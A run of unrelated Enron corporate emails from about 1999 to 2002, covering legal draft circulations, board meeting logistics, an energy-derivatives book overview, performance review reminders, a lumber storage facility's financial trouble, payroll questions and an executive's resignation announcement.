 - MEH-PEC Paragraph 13 to Credit Support.doc
 - MEH-PEC ISDA.doc
 - MEH-PEC Credit Support Annexy-bi.doc
 - MEH-PEC Paragraph 13 Exhibit A.doc


please print
---------------------- Forwarded by Kay Mann/Corp/Enron on 12/11/2000 10:05
AM ---------------------------

"Campbell, Carolyn" <CCampbell@KSLAW.com> on 12/11/2000 09:53:03 AM
To: "'gkutzschbach@fulbright.com'" <gkutzschbach@fulbright.com>,
"'areynaud@coral-energy.com'" <areynaud@coral-energy.com>,
"'dwhaley@coral-energy.com'" <dwhaley@coral-energy.com>,
"'TSeigler@coral-energy.com'" <TSeigler@coral-energy.com>
cc: "'Ben.F.Jacoby@enron.com'" <Ben.F.Jacoby@enron.com>,
"'Kay.Mann@enron.com'" <Kay.Mann@enron.com>, "Keffer, John"
<JKeffer@KSLAW.com>

Subject: ENA / Coral Turbine Transaction

 <<2R6LRED.DOC>>  <<2RM3RED.DOC>>  <<2RLSRED.DOC>>  <<2R6KRED.DOC>>

We have enclosed the following documents for your review:

 1. Revised draft dated 12-11-2000 of the Letter Agreement for
CA Energy Development I, LLC, marked to reflect revisions from the draft
circulated by King & Spalding on 12-09-2000;

 2. Revised draft dated 12-11-2000 of the Letter Agreement for
CA Energy Development II, LLC, marked to reflect revisions from the draft
circulated by King & Spalding on 12-09-2000;

 3. Revised draft dated 12-11-2000 of the Letter Agreement for
CA Energy Development II, LLC pertaining to the transformer, marked to
reflect revisions from the draft circulated by King & Spalding on
12-09-2000; and

 4. Revised draft dated 12-11-2000 of the Liability Company
Agreement of CA Energy Development I, LLC, marked to reflect revisions from
the draft circulated by King & Spalding on 12-09-2000.

We still need confirmation of the name of the last director for the LLC and
the date for exercising the call/put option in Section 6.2 of the LLC
Agreement.  Please advise at your earliest convenience.  Thank you.

Carolyn M. Campbell
King &  Spalding
713-276-7307 (phone)
713-751-3280 (fax)
ccampbell@kslaw.com <mailto:ccampbell@kslaw.com>

Enclosures: 128541vR13/12
  129099v4/3
  129088v5/4
  128540v9/8

                    Confidentiality Notice
This message is being sent by or on behalf of a lawyer.  It is intended
exclusively for the individual or entity to which it is addressed.  This
communication may contain information that is proprietary, privileged or
confidential or otherwise legally exempt from disclosure.  If you are not the
named addressee, you are not authorized to read, print, retain, copy or
disseminate this message or any part of it.  If you have received this
message in error, please notify the sender immediately by e-mail and delete
all copies of the message.

 - 2R6LRED.DOC
 - 2RM3RED.DOC
 - 2RLSRED.DOC
 - 2R6KRED.DOC


calendar and meeting file
---------------------- Forwarded by Steven J Kean/NA/Enron on 07/18/2001
07:32 AM ---------------------------
From: Kelly Johnson/ENRON@enronXgate on 07/16/2001 03:22 PM

To: Jeremy Blachman/HOU/EES@EES, Raymond Bowen/ENRON@enronXgate, Michael
Brown/Enron@EUEnronXGate, Harold G Buchanan/HOU/EES@EES, Rick
Buy/ENRON@enronXgate, Richard Causey/ENRON@enronXgate, Wade
Cline/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, David Cox/Enron
Communications@Enron Communications, James Derrick/ENRON@enronXgate, Janet R
Dietrich/HOU/EES@EES, Steve Elliott/Enron Communications@Enron
Communications, Jim Fallon/Enron Communications@Enron Communications, Andrew
S Fastow/ENRON@enronXgate, Mark Frevert/ENRON@enronXgate, Ben
Glisan/HOU/ECT@ECT, Kevin Hannon/Enron Communications@Enron Communications,
Rod Hayslett/ENRON@enronXgate, Stanley Horton/ENRON@enronXgate, James A
Hughes/ENRON@enronXgate, Steven J Kean/NA/Enron@Enron, Louise
Kitchen/ENRON@enronXgate, Mark Koenig/ENRON@enronXgate, John J
Lavorato/ENRON@enronXgate, Kenneth Lay/ENRON@enronXgate, Dan
Leff/HOU/EES@EES, Danny McCarty/ET&S/Enron@Enron, Mike
Mcconnell/ENRON@enronXgate, Rebecca McDonald/ENRON@enronXgate, Jeffrey
McMahon/ENRON@enronXgate, Mark Metts/Enron@EnronXGate, Mark S
Muller/HOU/EES@EES, Cindy Olson/ENRON@enronXgate, Lou L Pai/HOU/EES@EES, Mark
Pickering/Enron@EUEnronXgate, Greg Piper/ENRON@enronXgate, Ken Rice/Enron
Communications@Enron Communications, Matthew Scrimshaw/Enron@EUEnronXGate,
Jeffrey A Shankman/ENRON@enronXgate, Jeffrey Sherrick/ENRON@enronXgate, John
Sherriff/ENRON@EUEnronXGate, Jeff Skilling/ENRON@enronXgate, Marty
Sunde/HOU/EES@EES, Greg Whalley/ENRON@enronXgate

cc: Jennifer Adams/Enron Communications@Enron Communications, Beverly
Aden/HOU/EES@EES, Julie Armstrong/Corp/Enron@ENRON, Connie
Blackwood/ENRON@enronXgate, Vivianna Bolen/ENRON@enronXgate, Loretta
Brelsford/ENRON@enronXgate, Jennifer Burns/ENRON@enronXgate, Alan
Butler/EU/Enron@Enron, Kathy Campos/ENRON@enronXgate, Kay
Chapman/HOU/EES@EES, Inez Dauterive/HOU/ECT@ECT, Binky Davidson/HOU/EES@EES,
Nicki Daw/ENRON@enronXgate, Sharon Dick/HOU/EES@EES, Kathy
Dodgen/HOU/EES@EES, Kerry Ferrari/Enron@EUEnronXGate, Dolores
Fisher/Enron@EnronXGate, Rosalee Fleming/ENRON@enronXgate, Sue
Ford/ENRON@enronXgate, Mrudula Gadade/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT,
Stephanie Harris/ENRON@enronXgate, Linda Hawkins/ENRON@enronXgate, Kimberly
Hillis/ENRON@enronXgate, Mary Joyce/ENRON@enronXgate, Samantha
Lopez-Dias/EU/Enron@Enron, Bridget Maronge/ENRON@enronXgate, Lucy
Marshall/Enron Communications@Enron Communications, Stephanie
Mcginnis/ENRON@enronXgate, Kathy McMahon/ENRON@enronXgate, Maureen
McVicker/NA/Enron@Enron, Karen Owens/HOU/EES@EES, Jana L
Paxton/ENRON@enronXgate, Cathy Phillips/ENRON@enronXgate, "Rijo, Leah"
<Leah.Rijo@ENRON.com>@SMTP@enronXgate, Marsha Schiller/ENRON@enronXgate,
Tammie Schoppe/ENRON@enronXgate, Sherri Sera/ENRON@enronXgate, Caron
Stark/ENRON@enronXgate, Sharon E Sullo/ENRON@enronXgate, Liz M
Taylor/ENRON@enronXgate, Lauren Urquhart/Enron@EUEnronXGate, Christina
Valdez/ENRON@enronXgate, Veronica Valdez/ENRON@enronXgate, Terry
West/ENRON@enronXgate, Sharron Westbrook/ENRON@enronXgate, Joannie
Williamson/ENRON@enronXgate, Teresa Wright/ENRON@enronXgate

Subject: Board of Directors Meeting - August 14, 2001

Kelly M. Johnson
Enron Corp.
Executive Assistant
Tel: (713) 853-6485
Fax: (713) 853-2534
E-Mail: kelly.johnson@enron.com


Cindy - Web Access

__________________________________________________
Do You Yahoo!?
Send your FREE holiday greetings online!
http://greetings.yahoo.com


Hi Grant,

Hope all is well with you. I trust you got my message via the voicemail
that Ileft with Vince late Friday afternoon about my inability to travel -
I'm trying to rearrange my trip for a couple of week's time when my ear has
cleared up, and I look forward to meeting with you one day.

I wrote to Vince last week asking for a favour, but I'm not sure ifhe is
there in Houston. I know that you guys are probably very busy but I was
wondering if you can write a few sentences for me. I'm sending out some
sample chapters to the people who responded positively (all of them!) to my
request for some feedback on the book. Chapter 1 has an 'overview' of the
book with just a couple of sentences on each chapter. Could you please
write a sentence or two for your chapter?

I'm including what I have already written (although I think it has changed
slightly from this version) so that you can see the style.

Many thanks and best regards.

Chris.

2 Overview of this Book

This book aims to provide an in-depth understanding of the pricing and risk
management of energy derivatives.  In the remainder of this chapter we give
an overview of the fundamental principals needed to model and price energy
assets, and which underlie the rest of the book.  As well as introducing
the techniques that underlie the Black-Scholes modelling framework we
discuss the numerical techniques of trinomial trees and Monte Carlo
simulation for derivative pricing which are used extensively later in the
book.

In Chapter 2 we analyse spot energy prices.  Apart from describing
empirical prices we propose a number of processes that can be used to model
the prices. We look at the well-know process of GBM as well as mean
reversion, stochastic volatility and jump processes, discussing each, and
showing how they can be simulated and their parameters estimated.

Chapter 3, written by Vince Kaminski and Grant Masson of Enron Capital and
Trade .

Chapter 4 examines forward curves in the energy markets.  Although such
curves are well understood and straight forward in the world debt markets
the difficulty of storage in many energy markets leads to less well defined
curves.  What we do in this chapter

Chapter 5 presents an overview of the common and not-so-common derivative
structures in the energy markets and discusses their uses.  Examples of
products analysed in this chapter include a variety of swaps, caps, floors
and collars, as well as energy swaptions, compound options, Asian (or
average rate) options, Barriers, lookbacks, and ladder options.

Chapter 6 investigates single and multi-factor models of the energy spot
price and the pricing of some standard energy derivatives.  Closed form
solutions for forward prices, forward volatilities, and European option
prices are derived and presented for all the models in this chapter
including a three factor stochastic convenience yield and interest rate
model with jumps.

Chapter 7 shows how the prices of path dependent and American style options
can be evaluated for the models in chapter 6.  Simulation schemes are
developed for the evaluation of European style options and applied to a
variety of path dependent options.  In order to price options which
incorporate early exercise opportunities, a trinomial tree scheme is
developed.  This tree is built to be consistent with the observed forward
curve and can be used to price exotic as well as standard American style
options.

Chapter 8 develops a new methodology for valuing energy options based on
modelling the market observed forward curve.  The approach results in a
multi-factor model that is able to capture realistically the evolution of a
wide range of energy forward curves and where the user defined volatility
structures can be of an extremely general form.  Closed-form solutions are
developed for pricing standard European options and efficient Monte Carlo
schemes for exotic options.  The chapter finishes with a discussion of the
valuation of American style options.

Chapter 9 focuses on the risk management of energy derivative positions.
In this chapter we discuss the management of price risk for institutions
that sell options or other derivatives to a client and who is then faced
with the problem of managing the risk through time.  We begin with delta
hedging a portfolio containing derivatives and look at extensions to gamma
hedging - using the models from chapters 5 and 7.  The general model of
chapter 7 ideally suited to multi-factor hedging and this is also
discussed.

Chapter 10 looks at the key risk-management concept of Value at Risk
applied to portfolios containing energy derivative portfolios.  After
discussing the concept of the measure, we look at how the key inputs
(volatilities, covariances, correlations, etc) can be estimated.  We then
compare the fours major methodologies for computing VaR; Delta,
Delta-gamma, historical simulation and Monte-Carlo simulation.  Finally, we
look at testing the VaR estimates for various underlying energy market
variables.


As we discussed at the recent RMS meeting, TXU is wanting to move forward
with a contingency plan to provide the 867_03 meter read data to REPs in
the event that ERCOT is unable to pass them on. The attached document
describes how we propose to accomplish this. I will be available for
questions at Wednesday's RMS meeting.

(See attached file: 867-03 Workaround.ppt)

 - 867-03 Workaround.ppt


Hey Buddy!  I just had a chat with Kori.  She is very sad she didn't get a
birthday kiss from you.  There will be a little birthday bash on Friday July
7th and she will be there.  What do you think?


---------------------- Forwarded by Darron C Giron/HOU/ECT on 10/20/2000
09:30 AM ---------------------------

	Enron North America Corp.

	From:  Victor Guggenheim                           10/20/2000 08:58 AM

To: Darron C Giron/HOU/ECT@ECT
cc:
Subject: official post id


DO A LIST OF MISTAKES THAT BETTER SYSTEMS COULD HAVE AVOIDED INCLUDING
FINANCIAL IMPACT

Assigned to: CN=Phillip Platter/OU=HOU/O=ECT
Updated by: CN=Phillip Platter/OU=HOU/O=ECT


No-I am honored to be a drunken' Beta!

-----Original Message-----
From: Miller, John [SMTP:miller@advlaser.com]
Sent: Monday, October 02, 2000 5:32 PM
To: 'Fred D Haulenbeek'; akinpa@email.msn.com; bwall@copcp.com;
WilliamHJordan@mindspring.com; jansson@mindspring.com; judgegyro@yahoo.com;
golfnbud@aol.com; chuck.paul@a-closer-look.com; handshohl@eudoramail.com;
craigd9561@aol.com; christop@netcomuk.co.uk; ccoburn@themissionbank.com;
shackleton@worldnet.att.net; boardwalk@iquest.net; dfullert@nmh.org;
froby@holmesmurphy.com; wgander@twa.com; John_Grumbles@berryplastics.com;
hbrunette@earthlink.net; harris@wheelerads.com; jdent@mmcable.com;
jglass@mmind.net; jepetree@bellsouth.net; jowen9653@aol.com;
jskilli@enron.com; JAWallace12050@aol.com; jstorthz@flash.net; Miller,
John; KCason@flash.net; kstewart@ctcua.org;
leland.white@energyspectrum.com; markpa@gateway.net; Mbaddour@msn.com;
hutchathoh@aol.com; rrossell@angiodynamics.com; samuraimai@aol.com;
JimFUlrich@aol.com; sogborn@goiac.com; hosman@flash.net;
RHarman@Bass-Associates.com; Bensons3@airmail.net; pwm1950@aol.com;
boethia@hotmail.com; AZaremba@FZCI.net; WThom25746@aol.com;
hosman@eskridge.net
Subject: RE: tent and more

I am honored to be a BETA!

John R. Miller
Advantage Laser Products
1840 Marietta Blvd.
Atlanta, GA  30318-2803
Tel: 800-722-2804 or 404-351-2700 x26
Fax: 800-871-3305 or 404-351-0911
http://www.advlaser.com
miller@advlaser.com

-----Original Message-----
From: Fred D Haulenbeek [mailto:fredinvt@juno.com]
Sent: Monday, October 02, 2000 3:26 PM
To: akinpa@email.msn.com; bwall@copcp.com;
WilliamHJordan@mindspring.com; jansson@mindspring.com;
judgegyro@yahoo.com; golfnbud@aol.com; chuck.paul@a-closer-look.com;
handshohl@eudoramail.com; craigd9561@aol.com; christop@netcomuk.co.uk;
ccoburn@themissionbank.com; shackleton@worldnet.att.net;
boardwalk@iquest.net; dfullert@nmh.org; froby@holmesmurphy.com;
wgander@twa.com; John_Grumbles@berryplastics.com;
hbrunette@earthlink.net; harris@wheelerads.com; jdent@mmcable.com;
jglass@mmind.net; jepetree@bellsouth.net; jowen9653@aol.com;
jskilli@enron.com; JAWallace12050@aol.com; jstorthz@flash.net;
johnmiller@advlaser.com; KCason@flash.net; kstewart@ctcua.org;
leland.white@energyspectrum.com; markpa@gateway.net; Mbaddour@msn.com;
hutchathoh@aol.com; rrossell@angiodynamics.com; samuraimai@aol.com;
JimFUlrich@aol.com; sogborn@goiac.com; hosman@flash.net;
RHarman@Bass-Associates.com; Bensons3@airmail.net; pwm1950@aol.com;
boethia@hotmail.com; AZaremba@FZCI.net; WThom25746@aol.com;
hosman@eskridge.net
Subject: tent

Elvis,
Woody sent me a note today.  In it he mentioned that he has the old roll
book from the fraternity house.  He said he took it because the young
fellas had no respect for the past.
This reminded me of an idea I had earlier.  I was thinking of the banner
for our tent and thinking of some way of making it clear that it was the
Old Betas tent...and beer.  I was thinking of 'Original House Betas',
'Silver/Grey Betas'(...though I've become a silver-gray, my heart keeps
time and measure... with Beta Theta Pi, to find my highest pleasure.
Samuel N Wilson, Hanover '72) or something like that to distinguish our
tent from the active Beta tent.
I'm sure there are any number of clever titles that accomplish the same
thing....keeping a bunch of young beer guzzling freeloading strangers out
of our fricking tent!
That's all.

BEEK

 << File: PLEDGE.PCX >>


Jim, yes you will need a USGS

Jim Tucker
12/02/99 01:59 PM
To: Larry Campbell/ET&S/Enron@Enron, Cecil Gutierrez/ET&S/Enron@Enron
cc: Butch Russell/ET&S/Enron@Enron, Mike McCracken

Subject: Matrix W.O. ST9114 - WT1 Control Valve Bypass

Gentlemen,

Please obtain proper ROW & environmental permits for the attached project.
It consists of approx 25 ft of 12" pipe and block valve inside the WT1
Station yard.  There will be a hydrotest.  And there will be minor excavation
for the supports.

Butch, do I need to send in a USGS map for this?

Thanks Jim


NOTE:  YOU WILL RECEIVE THIS MESSAGE EACH TIME YOU ARE SELECTED AS A REVIEWER.

You have been selected to participate in the Year End 2000 Performance
Management process by providing meaningful feedback on specific employee(s).
Your feedback plays an important role in the process, and your participation
is critical to the success of Enron's Performance Management goals.

To complete requests for feedback, access PEP at http://pep.corp.enron.com
and select Perform Review under Performance Review Services.  You may begin
providing feedback immediately and are requested to have all feedback forms
completed by Friday, November 17, 2000.

If you have any questions regarding PEP or your responsibility in the
process, please contact the PEP Help Desk at:

Houston: 1.713.853.4777, Option 4
London:  44.207.783.4040, Option 4
Email: perfmgmt@enron.com

Thank you for your participation in this important process.

The following is a CUMULATIVE list of employee feedback requests with a
status of "OPEN."   Once you have submitted or declined an employee's request
for feedback, their name will no longer appear on this list.

Review Group: ENRON
Feedback Due Date: Nov 17, 2000

Employee Name                   Supervisor Name                 Date Selected
-------------                   ---------------                 -------------
BOLTON, SCOTT                   RICHARD S SHAPIRO               Nov 06, 2000
CARSON, MARGARET M              JAMES D STEFFES                 Oct 31, 2000
CONDON, CHARLES D               MARTIN J WENZEL                 Nov 03, 2000
DENNE, KAREN L                  MARK A PALMER                   Nov 07, 2000
FAWCETT, JEFFERY C              JESS K HYATT                    Nov 01, 2000
HAIN, MARY                      JAMES D STEFFES                 Oct 30, 2000
HAMILTON, TIMOTHY J             JAMES W LEWIS                   Oct 25, 2000
KAUFMAN, PAUL J                 RICHARD S SHAPIRO               Oct 31, 2000
MANDELKER, JEANNIE              KAREN L DENNE                   Nov 06, 2000
MARA, SUSAN J                   PAUL J KAUFMAN                  Nov 08, 2000
MCLAUGHLIN, TRACY               SCOTT BOLTON                    Oct 25, 2000
NORD, BONNIE S                  RICHARD S SHAPIRO               Nov 03, 2000
O'CONNELL, EARLENE              ELIZABETH C LINNELL             Nov 01, 2000
SHAPIRO, RICHARD S              STEVEN J KEAN                   Nov 01, 2000
STEFFES, JAMES D                STEVEN J KEAN                   Nov 13, 2000


Brenda,

I think all the correct actions are underway. Roy Lipsett will be in Chicago
on Friday morning to oversee the movement of the product to another
facility. I am not sure of the legal expertise within Enron on Illinois
Bankruptcy Law. If required the following Law firm has expertise in this
area, and did a good job of helping me in a similar situation in the past so
that I continued to have access to products. Please let me know if I can be
of assistance.

 Barack Ferrazzano Kirschbaum Perlman & Nagelberg
 Wendi E. Sloane
 333 West Wacker Drive
 Suite 2700
 Chicago, IL  60606
 (312) 984-3166

Thank You,
Dan Hamilton
713-516-4365 (cell)
713-345-7653

-----Original Message-----
From: Brenda.F.Herod@enron.com [mailto:Brenda.F.Herod@enron.com]
Sent: Wednesday, January 24, 2001 9:55 PM
To: Raymond.Bowen@enron.com; Jeffrey.McMahon@enron.com
Cc: Sally.Beck@enron.com; Kent.Castleman@enron.com;
Robert.Scheuer@enron.com; Michael.E.Moscoso@enron.com;
Romney.Ruder@enron.com; Delmar.Davis@enron.com;
Dan.Hamilton@SAPPI-NA.com
Subject: Lumber Reload Facility - Premier

Yesterday I was informed that there was a concern about the financial
stability of one of the reload facilities we currently use in the Chicago
area, Premier Reload Inc.  I met with Romney Ruder, Lumber trader, Roy
Lipsett, Logistics, and Mike Moscoso, Lumber business controller, this
morning to gather information and develop a plan.  This is summarized
below.

General Information:

Premier is a facility we have been using for a few months, located in
Franklin Park within Chicago.  We deliver to the facility via railcar, and
ship out via truck.  We currently have about 3.8 million board feet, valued
at about $1 million, in the facility.  During the holidays, we began
experiencing problems with our railcars not being unloaded timely.  We have
been pressing for information, and are hearing rumors that have raised
significant concerns.  Although Enron has not received written
notification, we learned today that Premier notified customers that they
would not be taking in any more products.  Additionally, we have heard that
the owner, Jeff Leske, is closing the facility, and will be going to work
for another reload facility in Chicago, Reserve Marine Terminal (RMT).  We
have been in negotiations with RMT for a long term arrangement, and much of
the information we have obtained is through our contact there.  In fact, we
have diverted recent shipments to RMT.  There is a rumor that Premier and
/or Leske may declare bankruptcy.  There is a rumor that Premier has been
incurring "switching" fees with the railroad (IHB) and has not been paying
them.  There is a rumor that Premier has not been paying employment taxes
and there are problems with the IRS.  All in all, there are many rumors but
very few known facts.

Plan:

   Met with Legal today to get advice.  They recommended moving the product
   ASAP, but until moved, we needed to confirm the product was marked as
   "Enron" product, and that it is stored separately from other product.
   They are drafting a contract to specify the arrangement with Premier.
   It will be ready tomorrow.
   Met with Credit.  They are not a included in the reload selection
   process, so the financial stability of the company has not been
   reviewed.  A D&B was pulled today, and it confirms a lien filed by the
   IRS on 6/22/00 for $86,128.  There is one suit pending by a trucking
   company in a nominal amount, filed 1/13/00.  The company is owned 100%
   by Leske, and was started in 1995.  Very little other information is
   available, and D&B did not assign a PAYDEX score.
   Mike Moscoso and Romney Ruder are going to the premises tomorrow to:
   gather financial information, intentions of the owner and the associated
   timeline, substantiate the inventory, and get the contract signed that
   Legal is drafting.  On Friday morning, Roy Lipsett will join them to
   meet with RMT, discuss movement of the product and complete the
   negotiations.
   Depending on the information gathered tomorrow, we will determine next
   steps.  If we start moving the product to RMT, the estimated timeline is
   about 13 to 14 days, moving 10 trucks per day (total truckloads = 135).
   Estimated cost for the movement is about is $25,000.  Another $25,000
   would be incurred for unload fees at RMT if we can't get them to wave
   them.  About half of the product has already been sold, and will be
   delivered over the next 5 weeks.  Romney is working with customers to
   determine if they can take the product earlier.

I will keep you informed as to the next events.  However, we need to take
immediate steps to put a policy and process in place for warehousing
facilities.  I have initiated weekly cross-functional staff meetings (Tax,
Legal, Credit, IT, Logistics, Fundemental Analysis, Accounting, etc.), and
our first meeting is scheduled for tomorrow.  I will have this on the
agenda, and will lead the effort to develop the process.

Please let me know if you have any questions.

Brenda
x35778
This message may contain information which is private, privileged or
confidential and is intended solely for the use of the individual or entity
named in the message. If you are not the intended recipient of this message,
please notify the sender thereof and destroy / delete the message. Neither
the sender nor Sappi Limited (including its subsidiaries and associated
companies) shall incur any liability resulting directly or indirectly from
accessing any of the attached files which may contain a virus or the like.


We had talked about suspending the United Way contribution but let's not worry about it at this point.
Thanks for your help.

Scott

 -----Original Message-----
From: 	Slone, Jeanie
Sent:	Wednesday, January 09, 2002 3:17 PM
To:	Neal, Scott
Subject:	FW: Scott Neal

Is this correct or was it made in error?  Let me know.
 -----Original Message-----
From: 	HR Service Connection
Sent:	Wednesday, January 09, 2002 12:58 PM
To:	Slone, Jeanie
Subject:	RE: Scott Neal

Jeanie,  What I see is a deduction for United Way in the amount of 1500.00 and a deduction for Parking in the amount of 37.00.  Please let me know if he has additional questions.
Jennifer Whitney
Ext.5-9518
HRServiceConnection@enron.com

 -----Original Message-----
From: 	Slone, Jeanie
Sent:	Monday, January 07, 2002 4:13 PM
To:	HR Service Connection
Subject:	Scott Neal

On Scott's last paycheck-Dec.31.  there was a deduction labeled "other deductions" for 1537.  Is there anyway we can determine what exactly that was for?  Thanks much.


more cushion for the pushin


Maria, I won't have a chance to look at this until Friday--pls take a look
and get back to Bill.  Grab me if you hav3e any questions.  df
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 03/22/2001
11:52 AM ---------------------------
From: William E Brown/ENRON@enronXgate on 03/21/2001 05:08 PM
To: Michael P Moran/ENRON@enronXgate, Drew Fossum/ET&S/Enron@ENRON
cc:

Subject: FW: Changes Re ETS Directors & Officers

Mike/Drew - Please review the attached individual D/O report and mark the
changes that will need to occur.  Thanks.

bill

 -----Original Message-----
From:  Garcia, Irene
Sent: Wednesday, March 21, 2001 4:03 PM
To: Brown, William E.
Subject: RE: Changes Re ETS Directors & Officers

I apologize for the tardiness.  Here you go.

Irene Garcia
Senior Coordinator
Corporate Secretary Department
Ext. 3-5255

 -----Original Message-----
From:  Brown, William E.
Sent: mm/21/2001 11:16 AM
To: Garcia, Irene
Cc: Holland, Geneva
Subject: FW: Changes Re ETS Directors & Officers

Irene - Please prepare a D/O report for Michael P. Moran and Drew Fossom.
Thanks.

bill

 -----Original Message-----
From:  McCoppin, Dorothy
Sent: Thursday, March 08, 2001 4:59 PM
To: Brown, William E.; Moran, Michael P.; Fossum, Drew; Soldano, Louis
Cc: Scott, Susan; King Jr., Frazier
Subject: RE: Changes Re ETS Directors & Officers

 You will need to add Drew FOssum to the list on officers on several
companies -- whenever Mike leaves.

 -----Original Message-----
From:  Brown, William E.
Sent: Thursday, March 08, 2001 8:55 AM
To: Moran, Michael P.; Fossum, Drew; Soldano, Louis; McCoppin, Dorothy
Cc: Scott, Susan; King Jr., Frazier
Subject: Changes Re ETS Directors & Officers

Going forward, I would appreciate your informing me of any change affecting
the slates of the Directors and Officers of ETS entities.  As the liaison
between this office and the Corporate Services office, I'm frequently
questioned about these changes.  Thanks in advance for your cooperation.

Bill


Please find attached the confirmations for last week and today.


Robin and I discussed this same point and agree that the March 9 order should
be brought to the court's attention.

>>> Ronald Carroll 03/14/01 04:10PM >>>
Richard:  In connection with EPMI's contention in the various California
litigations that they should be dismissed due to FERC's primary jurisdiction,
it strikes me that it may be helpful to lodge FERC's March 9, 2001 order with
the Court.  While FERC, in the 12/15 order, established its investigation,
the March 9 order makes findings and imposes remedies (fortunately not
against us).  This should enhance the primary jurisdiction argument.  FERC's
intent to occupy the field could not be more clear.  Ron


---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/16/2001
04:28 PM ---------------------------

<jhh1@email.msn.com> on 04/12/2001 10:47:27 AM
To: "Vince J Kaminski" <Vince_J_Kaminski@enron.com>
cc:
Subject: Southwestern Natural Gas Price and Price Volatility

Almost everything you need to know in less than 1000 words and 2 figures.

Best regards and have a Happy Easter.

JHHerbert

 - gd010412rev.pdf


It is with sadness and regret that we announce that Cliff Baxter is resigning
as an employee of Enron.  We are happy, though, that Cliff,s primary reason
for resigning is to spend more time with his family.

Cliff is a unique talent.  His creativity, intelligence, sense of humor, and
straightforward manner have been assets to the company throughout his
career.  He will be missed.

Cliff joined Enron in 1991 and was a key member of the team that built Enron,
s wholesale business.  Before becoming Vice Chairman of Enron, Cliff served
in a variety of positions in Enron,s wholesale businesses, culminating in his
appointment as Chairman and Chief Executive Officer of Enron North America in
1999.

We have asked Cliff, and he has agreed, to continue in a consulting role for
the company while concluding negotiations on a number of key asset
dispositions.

Please join us in thanking Cliff for his service to the company and in
wishing him the very best.


Catherine,

Could (Would) you do me the favor of arranging flight reservations for Mark
Fisher to travel to Mill Run PA on Wednesday next week?  He will need a car
and hotel reservations in addition to his flight arrangements.  His return
flight would be Friday morning.

Thanks,
Hollis


Please provide your response to me via e-mail by Tuesday, December 12th.
This report must completed by Thursday for Alan's review.  I have attached a
copy of the November report for your review.

Thanks for your cooperation and happy holidays!

Joya' F. Williams Davis
Sr. Admin. Assistant
ENA Legal Department
EB3855A
joya.davis@enron.com
(713) 853-9559 DID
(713) 646-4842 FAX


But I'm going to try and keep it down to minimum.

 -----Original Message-----
From: 	Parks, Joe
Sent:	Thursday, May 02, 2002 4:12 PM
To:	Germany, Chris
Subject:	RE: Activity

thanks

 -----Original Message-----
From: 	Germany, Chris
Sent:	Thursday, May 02, 2002 4:11 PM
To:	Parks, Joe
Subject:	Activity

Hey, I normally talk bad about you but lately I've been bragging because of your good notes on Ponderosa Pines.


Jeff:
In regards to the antitrust training, can you please schedule that at least
one of the sessions starts at 3:00 or later to ensure participation by all.
Thanks,
John


I'm having the same problem.  She states on the izio site that that the cases
are in the reader.  they ain't.  if anyone has them and could fax them to me
at 415.782.7854, would be greatly appreciated.

Best,
Jeff

Also, I like both ideas--Anil's and Mark's.  I think that we could discuss at
break and write it up then and turn in at beginning of second half of class.
I'd lean a bit toward the Amazon suggestion, but could go either way.

	"Mark Guinney" <Mark_Guinney@watsonwyatt.com>
	03/14/2001 07:39 AM

		 To: "Jeff.Dasovich@enron.com" <Jeff.Dasovich@enron.com>,
"cvavrek@deloitte.com" <cvavrek@deloitte.com>
		 cc: "asama@yahoo.com" <asama@yahoo.com>, "Jeff_Dasovich@enron.com"
<Jeff_Dasovich@enron.com>
		 Subject: Re:More Nagging About the Project

Where did we get the readings for Thursday?  I can't seem to find them
anywhere.
 Can someone please fax me a copy?  My fax number is (415) 733-4190.

Thanks

**********************************************
Mark D. Guinney, CFA
Consultant
Watson Wyatt Investment Consulting
345 California Street, Ste. 1400
San Francisco, CA  94104
(415) 733-4487 ph.
(415) 733-4190 fax

____________________Reply Separator____________________
Subject:    More Nagging About the Project
Author: Jeff.Dasovich@enron.com
Date:       03/13/2001 8:18 PM

Greetings:

Sounds like I'm glad that I missed the quiz last week.

Hate to be a nag, but we've got to turn in what we're doing for our project
on Thursday.  I propose doing a nice, clean merger, which would allow us to
do both comparative analysis (who are these companies?) and
merger/valuation analysis.  Mark and I talked last night and I pleaded
again not to do strict accounting stuff, but if that's what folks would
like to do, I can certainly suck it up.  Any thoughts?

Best,
Jeff


Privileged and Confidential
Attorney-Client Communication

Per our conversation, attached is the latest draft of the Interconnection
Agreement.  This draft reflects TECO's comments, Enron's comments, and my
own comments.  At this stage, rather than clean up all drafting issues (and
there are many), it is probably most important to focus on conceptual
matters.

That said, the most significant conceptual revisions from the previous draft
are the addition of the Notice to Proceed concept, the addition of
Conditions Precedent concept, and revamping the Milestone provisions.

As for drafting matters -- the previous draft had many undefined terms,
which I have now defined.  Also, there were many sections with concepts
repeated in other sections but stated differently and with slightly
different obligations.  To avoid confusion and a potential dispute as to the
controlling section, I have deleted repetitive sections.  (For example,
Section 4.14 and 18.5 address disconnection after termination of the
Agreement, but each is worded differently and has somewhat different
provisions.   I have deleted the old Section 4.14.).  Also, I have made some
clarifications to ambiguous language.

There are still several open issues that we should discuss prior to
providing this draft to TECO.    I should be available throughout the day,
so we can discuss the attached.

Andy

 <<8R@301!.DOC>>

                    Confidentiality Notice
This message is being sent by or on behalf of a lawyer.  It is intended exclusively for the individual or entity to which it is addressed.  This communication may contain information that is proprietary, privileged or confidential or otherwise legally exempt from disclosure.  If you are not the named addressee, you are not authorized to read, print, retain, copy or disseminate this message or any part of it.  If you have received this message in error, please notify the sender immediately by e-mail and delete all copies of the message.


FYI,
You need to edit the phone number for each of the sites by adding a 9 to dial
out.
If you need help doing this come get me.
-J


Dear Colleagues,

We know you have many questions about your new benefits plan, payroll issues and other changes that will occur over the next few weeks. Human Resources and Communications are preparing a thorough Q&A, which we will send to you tomorrow and will regularly update as more information is available.

Meanwhile, please read the announcement below from Security about how you can obtain a new UBS Warburg access card that will allow you to enter our new office space after Friday.

I am confident that you share my enthusiasm about our new opportunity.  We look forward to working along side each of you in the coming days.

David Oxley
Head, Human Resources
____________________________________________________________________

Access Cards

